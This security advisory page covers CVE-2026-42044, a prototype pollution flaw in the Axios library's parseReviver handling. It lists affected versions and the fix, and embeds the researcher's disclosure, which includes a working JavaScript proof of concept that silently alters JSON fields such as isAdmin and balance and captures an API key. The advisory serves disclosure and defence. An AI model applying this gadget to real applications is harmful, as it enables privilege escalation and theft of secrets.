CVE-2026-42044: Axios Invisible JSON Response Tampering Vulnerability
MODERATECVE-2026-42044 is a MODERATE (CVSS 6.5) invisible json response tampering vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Axios libraries in the npm ecosystem. The issue involves invisible json response tampering via prototype pollution gadget in `parsereviver`. Remediation is available by upgrading affected packages to version 1.15.2.
CVE-2026-42044 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N).
How to Fix CVE-2026-42044
To remediate this vulnerability, upgrade all affected Axios dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install axios@1.15.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls axios
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-42044, inspect your project dependencies using npm:
npm ls axios
Analyze the terminal output to locate any version of Axios in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.15.2), your application is affected.
Note: The npm ls axios command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Axios, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42044 Affected Axios Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
axios
|
npm |
≥ 1.0.0
< 1.15.2
|
1.15.2
|
References
Frequently Asked Questions
What is CVE-2026-42044?
Which Axios versions are affected?
What version fixes CVE-2026-42044?
Is axios affected?
What is the CVSS score of CVE-2026-42044?
What CWE is associated with CVE-2026-42044?
How can I check npm dependencies for CVE-2026-42044?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3w6x-2g7m-8v23",
"modified" : "2026-05-05T00:19:33Z",
"published" : "2026-05-05T00:19:33Z",
"aliases" : [ "CVE-2026-42044" ],
"summary" : "Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`",
"details" : "# Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** — including privilege escalation, balance manipulation, and authorization bypass.\n\nThe default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.\n\nThis is **strictly more powerful** than the `transformResponse` gadget because:\n1. **No constraints** — the reviver can return any value (no \"must return true\" requirement)\n2. **Selective modification** — individual JSON keys can be changed while others remain untouched\n3. **Invisible** — the response structure and most values look completely normal\n4. **Simultaneous exfiltration** — the reviver sees the original values before modification\n\n**Severity:** Critical (CVSS 9.1)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes\n\n## CVSS 3.1\n\n**Score: 9.1 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the application process |\n| Confidentiality | **High** | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: \"sk-secret-internal-key\"` is captured |\n| Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: \"viewer\" → \"admin\"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values |\n| Availability | None | No crash, no error — the attack is entirely silent |\n\n### Comparison with All Known Axios PP Gadgets\n\n| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** |\n|---|---|---|---|---|\n| PP target | `Object.prototype['header']` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` |\n| Fixed by 1.15.0? | Yes | No | No | **No** |\n| Constraints | N/A (fixed) | **Must return `true`** | None | **None** |\n| Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** |\n| Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** |\n| Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** |\n| Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** |\n| In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | **No → bypasses mergeConfig** |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.\n\n## Root Cause Analysis\n\n### The Attack Path\n\n```\nObject.prototype.parseReviver = function(key, value) { /* malicious */ }\n │\n ▼\n mergeConfig(defaults, userConfig)\n │\n │ parseReviver NOT in defaults → NOT iterated by mergeConfig\n │ parseReviver NOT in userConfig → NOT iterated by mergeConfig\n │ Merged config has NO own parseReviver property\n │\n ▼\n transformData.call(config, config.transformResponse, response)\n │\n │ Default transformResponse function runs (NOT overridden)\n │\n ▼\n defaults/index.js:124: JSON.parse(data, this.parseReviver)\n │\n │ this = config (merged config object, plain {})\n │ config.parseReviver → NOT own property → traverses prototype chain\n │ → finds Object.prototype.parseReviver → attacker's function!\n │\n ▼\n JSON.parse calls reviver for EVERY key-value pair\n │\n │ Attacker can: read original value, modify it, return anything\n │ No validation, no constraints, no assertOptions check\n │\n ▼\n Application receives surgically modified JSON response\n```\n\n### Why `parseReviver` Bypasses ALL Existing Protections\n\n1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`'s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property.\n\n2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, withXsrfToken}`. `parseReviver` is not validated.\n\n3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set.\n\n4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function's `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch.\n\n### Vulnerable Code\n\n**File:** `lib/defaults/index.js`, line 124\n\n```javascript\ntransformResponse: [\n function transformResponse(data) {\n // ... transitional checks ...\n if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n // ...\n try {\n return JSON.parse(data, this.parseReviver);\n // ^^^^^^^^^^^^^^^^^\n // this = config\n // config.parseReviver → prototype chain → attacker's function\n } catch (e) {\n // ...\n }\n }\n return data;\n },\n],\n```\n\n## Proof of Concept\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Server returns a realistic authorization response\nconst server = http.createServer((req, res) => {\n res.writeHead(200, { 'Content-Type': 'application/json' });\n res.end(JSON.stringify({\n user: 'john',\n role: 'viewer',\n isAdmin: false,\n canDelete: false,\n balance: 100,\n permissions: ['read'],\n apiKey: 'sk-secret-internal-key',\n }));\n});\nawait new Promise(r => server.listen(0, r));\nconst port = server.address().port;\n\n// === Before Pollution ===\nconst before = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log('Before:', JSON.stringify(before.data));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\"balance\":100,...}\n\n// === Simulate Prototype Pollution ===\nlet stolen = {};\nObject.prototype.parseReviver = function(key, value) {\n // Silently capture all original values\n if (key && typeof value !== 'object') stolen[key] = value;\n // Surgically modify specific values\n if (key === 'isAdmin') return true; // false → true\n if (key === 'role') return 'admin'; // viewer → admin\n if (key === 'canDelete') return true; // false → true\n if (key === 'balance') return 999999; // 100 → 999999\n return value; // everything else unchanged\n};\n\n// === After Pollution — same code, same URL ===\nconst after = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log('After: ', JSON.stringify(after.data));\n// {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\"balance\":999999,...}\n\nconsole.log('Stolen:', JSON.stringify(stolen));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,...,\"apiKey\":\"sk-secret-internal-key\"}\n\ndelete Object.prototype.parseReviver;\nserver.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n response.data: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n \"balance\":100,\"permissions\":[\"read\"],\"apiKey\":\"sk-secret-internal-key\"}\n isAdmin: false\n role: viewer\n\n[2] Prototype Pollution: Object.prototype.parseReviver\n Polluted with selective value modifier\n\n[3] Same request (after pollution):\n response.data: {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\n \"balance\":999999,\"permissions\":[\"read\",\"write\",\"delete\",\"admin\"],\n \"apiKey\":\"sk-secret-internal-key\"}\n isAdmin: true (was: false)\n role: admin (was: viewer)\n canDelete: true (was: false)\n balance: 999999 (was: 100)\n\n[4] Exfiltrated data (stolen silently):\n apiKey: sk-secret-internal-key\n All captured: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n \"balance\":100,\"apiKey\":\"sk-secret-internal-key\"}\n\n[5] Why this bypasses all checks:\n parseReviver in defaults? NO\n parseReviver in assertOptions schema? NO\n parseReviver validated anywhere? NO\n Must return true? NO — can return ANY value\n Replaces entire transform? NO — works INSIDE default JSON.parse\n```\n\n## Impact Analysis\n\n### 1. Authorization / Privilege Escalation\n\n```javascript\n// Server returns: {\"role\":\"viewer\",\"isAdmin\":false}\n// Application sees: {\"role\":\"admin\",\"isAdmin\":true}\n// → Application grants admin access to unprivileged user\n```\n\n### 2. Financial Manipulation\n\n```javascript\n// Server returns: {\"balance\":100,\"approved\":false}\n// Application sees: {\"balance\":999999,\"approved\":true}\n// → Application approves a transaction that should be rejected\n```\n\n### 3. Security Control Bypass\n\n```javascript\n// Server returns: {\"mfaRequired\":true,\"accountLocked\":true}\n// Application sees: {\"mfaRequired\":false,\"accountLocked\":false}\n// → Application skips MFA and unlocks a locked account\n```\n\n### 4. Silent Data Exfiltration\n\nThe reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.\n\n### 5. Universal and Invisible\n\n- Affects **every** Axios request that receives a JSON response\n- The response structure is intact — only specific values are changed\n- No errors, no crashes, no suspicious behavior\n- Application logs show normal-looking API responses with tampered values\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` check before using `parseReviver`\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')\n ? this.parseReviver\n : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n### Fix 2: Use null-prototype config object\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n### Fix 3: Validate `parseReviver` type and source\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = (typeof this.parseReviver === 'function' &&\n Object.prototype.hasOwnProperty.call(this, 'parseReviver'))\n ? this.parseReviver\n : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n## Relationship to Other Reported Gadgets\n\nThis vulnerability shares the same **root cause class** — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:\n\n| Report | PP Target | Code Location | Fix Location | Impact |\n|---|---|---|---|---|\n| axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` |\n| axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception |\n| **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** |\n\n### Why These Are Distinct Vulnerabilities\n\n1. **Different polluted properties:** Each targets a different `Object.prototype` key.\n2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function's `JSON.parse` call.\n3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch.\n4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification.\n\n### Comprehensive Fix\n\nWhile each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified — selective response tampering confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "axios"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.0.0"
}, {
"fixed" : "1.15.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42044"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/axios/axios"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1321", "CWE-915" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-05T00:19:33Z",
"nvd_published_at" : "2026-04-24T18:16:31Z"
}
}